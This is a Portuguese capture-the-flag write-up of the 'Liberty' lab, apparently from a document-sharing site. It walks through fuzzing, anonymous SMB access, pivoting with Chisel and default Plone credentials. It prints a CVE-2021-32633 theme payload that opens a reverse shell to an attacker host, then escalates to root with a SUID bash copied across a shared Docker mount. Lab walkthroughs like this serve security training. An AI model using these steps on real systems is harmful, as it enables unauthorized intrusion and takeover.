Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up liberty
Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas
estão abertas. Então, vamos usar uma ferramenta chamada nmap.
Ports:
Write-Up - Liberty 1
Porta 22 - SSH
Porta 80 - HTTP
Podemos começar olhando website que está sendo executado na porta 80:
Write-Up - Liberty 2
Aparentemente temos uma aplicação estática, podemos fazer fazer um fuzzing para
encontrar arquivos e diretórios, estarei utilizando o ffuf.
Após fazer a fuzzing temos dois diretórios, podemos dar uma olhada neles:
Não temos nada de relevante até o momento, podemos dar uma olha no sistema de
compartilhamentos de arquivos (SMB).
Write-Up - Liberty 3
Como podemos ver, conseguimos listar os compartilhamentos, pois o samba está sem
autenticação! Podemos dar uma olhada em public_files.
Write-Up - Liberty 4
Podemos realizar uma poc pra ver se o Back-end é em PHP.
Write-Up - Liberty 5
Sabendo que o Back-end é php, podemos criar uma reverse shell:
Write-Up - Liberty 6
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Enter
export TERM=xterm
Listando a home temos um usuário → manager_plone, mas não temos permissão pra
acessar a home do mesmo.
Write-Up - Liberty 7
Ao executar o comando hostname -I, podemos ver o ip da rede do Docker:
Podemos escanear essa rede para poder encontrar um possível novo host na rede do
mesmo, para isso estarei utilizando o binário estático do nmap, você pode baixá-lo no
link abaixo:
Write-Up - Liberty 8
Com o nmap no servidor, podemos escanear a rede do Docker:
Temos um serviço web sendo executado na porta 8080, podemos utilizar a técnica de
Pivoting para jogar a conexão da porta 8080 desse host para a nossa máquina, estarei
utilizando o Chisel, você pode baixá-lo no link abaixo:
https://github.com/jpillora/chisel
Após ter baixado o chisel e ter enviado ao servidor, podemos executar os seguintes
comandos abaixo.
Na nossa máquina local:
Write-Up - Liberty 9
./chisel server -p 9000 --reverse
No servidor:
Write-Up - Liberty 10
ser usado para a construção de portais de informação em intranets, extranets e na
Internet.
Podemos clicar em (Create a new Plone site) e logar com as credenciais padrão →
admin:admin
Após estar logado, podemos ver a versão do Plone indo em admin → Site Setup:
Procurando por exploit nessa versão do Plone, temos a CVE-2021-32633, essa versão
está vulnerável a Remote Code Execution (RCE), podemos utilizar a Poc no link
abaixo para conseguirmos uma reverse shell:
Write-Up - Liberty 11
Write-up: Plone Authenticated RCE (CVE-2021-32633)
Join the journey into Plone CMS that lead us to discover an
authenticated RCE vulnerability Plone is a Python-based open
source content management project actively developed since 2002.
https://cyllective.com/blog/post/plone-authenticated-rce-cve-2021
-32633/
[theme:parameters]
x = python:nocall("random/_os/system")("/bin/bash -c 'sh -i >& /dev/tcp/<IP-VPN>/4445 0>&1'")
Write-Up - Liberty 12
Após salvar o arquivo e clicar em → Preview theme recebemos a shell:
Após spawnar uma shell melhor podemos começar a enumerar, procurando por
capabilities temos o python3.8, temos a capacidade de setar o nosso uid para 0:
Write-Up - Liberty 13
Acessando o /mnt temos o diretório → only_plone:
Write-Up - Liberty 14
Podemos pegar a nossa primeira flag:
Privesc
Sabendo que o host principal está compartilhando a home do usuário manager_plone,
podemos escalar privilégios da seguinte maneira:
2. No docker iremos utilizar o comando chown para mudar o dono desse binário (root)
No Host principal:
cp /bin/bash .
Write-Up - Liberty 15
No Docker:
Feito isso temos o binário do bash com SUID , agora basta executar o comando →
./bash -p
E somos root, agora basta pegar a última flag que se encontra no diretório /root
Write-Up - Liberty 16
Write-Up - Liberty 17